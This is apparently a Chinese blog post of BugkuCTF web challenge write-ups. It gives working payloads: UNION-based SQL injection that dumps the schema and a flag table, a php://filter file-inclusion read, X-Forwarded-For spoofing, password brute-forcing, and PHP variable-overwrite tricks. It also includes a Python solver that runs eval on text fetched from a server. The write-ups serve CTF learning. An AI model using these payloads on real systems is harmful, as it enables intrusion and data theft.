• BugkuCTF web(一)


    web基础_GET

    1、get传参。

    web基础_POST

    1、post传参。

    web2

    1、F12看源码,在html注释发现flag。

    计算器

    1、表单字数限制,F12看源码,修改maxlength。

    你必须让他停下

    1、bp抓包,不断发包,多试几次,一共有15张jpg。

    矛盾

    1、num等于1又不是数字,payload:?num=1a。

    变量1(代码审计)

    1、

      代码审计:内层if要求GET所传的参数$args要出现数字或字母;输出$$args变量。
      这里要知道1个知识点:php中的预定义变量中有个$GLOBALS$GLOBALS包含了在当前脚本中已经定义的所有变量,变量名就是这个数组的键名。
      根据第一行提示,flag在变量里,可用超全局变量GLOBALS引用可变变量$$args,payload:?args=GLOBALS,既满足参数是字母,又能输出$$args

    备份是个好习惯

    1、访问index.php.bak
    2、
    payload:?kkeyey1=s878926199a&kkeyey2=s155964671a。

    web3

    1、F12查看源码,在注释发现unicode编码。

    头等舱

    1、用bp抓包。

    web4

    1、F12看源码,url解码。

    管理员系统

    1、F12看源码,在注释有b64,解码后应该是密码。
    2、用bp抓包,伪造本地ip:X-Forwarded-For:127.0.0.1。

    网站被黑

    1、用御剑扫描
    2、用bp爆破密码,从列表中添加->密码。

    域名解析

    1、这题域名和ip都是在公网上的,修改hosts本地文件:C:WindowsSystem32driversetchosts。

    web5

    1、把()[]!+编码复制到控制台。

    flag在index里(文件包含)

    1、

    2、把file内容转成base64:payload:?file=php://filter/read=convert.base64-encode/resource=index.php。
    参考:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

    输入密码查看flag

    1、提示了5位数字的密码,就打开bp爆破。

    成绩单(sql注入-联合查询)

    1、依次输入1,2,3,返回龙龙龙、浩儿、静静的成绩,源码没发现东西
    2、1' # 正常,是龙龙龙的成绩单
    1' order by 3# 正常
    1' order by 4# 正常
    1' order by 5# 无回显
    所以,就是4个字段
    3、爆库名:

    ' union select 1,1,1,table_schema from information_schema.tables #
    


    只爆出information_schema这么一个库名,就是chinese里只能显示一个库名,学到了,mysql里的group_concat()聚集函数能将同一个分组的值连接起来,只返回一个字符串

    ' union select 1,1,1,group_concat(distinct table_schema) from information_schema.tables #
    


    得到库名:skctf_flag
    4、爆所有的表名:

    ' union select 1,1,1,group_concat(distinct table_name) from information_schema.tables where table_schema='skctf_flag' #
    


    得到2个表:fl4g,sc,有用的肯定是fl4g
    5、查所有字段名:

    ' union select 1,1,1,group_concat(distinct column_name) from information_schema.columns where table_name='fl4g' #
    

    得到字段名和库名是一样的
    6、最后,

    ' union select 1,1,1,group_concat(skctf_flag) from skctf_flag.fl4g #
    

    秋名山老司机(快速反弹post请求)


    让我们用2s计算这么长的值。。。
    刷新页面后,表达式的值会变化:

    就是用加减乘运算一个长的表达式
    多刷新2次:

    提示我们 用post传递表达式的值给服务器,这种只能写python解:

    import requests
    import re
    
    url = "http://123.206.87.240:8002/qiumingshan/"
    s = requests.Session()#保持客户端与服务器之间的回话
    r = s.get(url)
    expression = re.search(r'(d+[+-*])+(d+)', r.text).group()#用正则表达式提出要计算的表达式
    expr_value = eval(expression)#计算表达式的值
    data = {'value': expr_value}
    print(s.post(url,data).text)#发送post请求
    

    (:表示一个子表达式的开始
    d:表示匹配数字
    +:表示匹配重复1次或更多次
    d+:表示匹配1个或更多连续的数字
    ):表示一个子表达式的介绍
    re.search方法中的group():返回匹配的整个表达式的字符串
    eval():返回字符串表达式的值
    解题参考:https://blog.csdn.net/qq_26090065/article/details/81583009

    web8

    题目

    题目描述: txt????

    <?php
    extract($_GET);
    if (!empty($ac))
    {
    $f = trim(file_get_contents($fn));
    if ($ac === $f)
    {
    echo "<p>This is flag:" ." $flag</p>";
    }
    else
    {
    echo "<p>sorry!</p>";
    }
    }
    

    解法

    extract变量覆盖有点不一样

    根据题目,txt确定是存在

    payload:?ac=flags&fn=flag.txt

  • 相关阅读:
    js中的计时器事件`setTimeout()` 和 `setInterval()`
    我的人生“意义”
    我活着的“形而上学”
    关于“我的”恶意
    不排他,与“我”的可能性
    【原创诗歌】自觉原理第十六章让你想照亮前程
    【原创诗歌】读书的梦:羡慕与期待
    【原创】楼兰老家
    【原创诗歌】青春咒语
    【原创】仓央嘉措,在心底活着
  • 原文地址:https://www.cnblogs.com/wrnan/p/12516108.html
Copyright © 2020-2023  润新知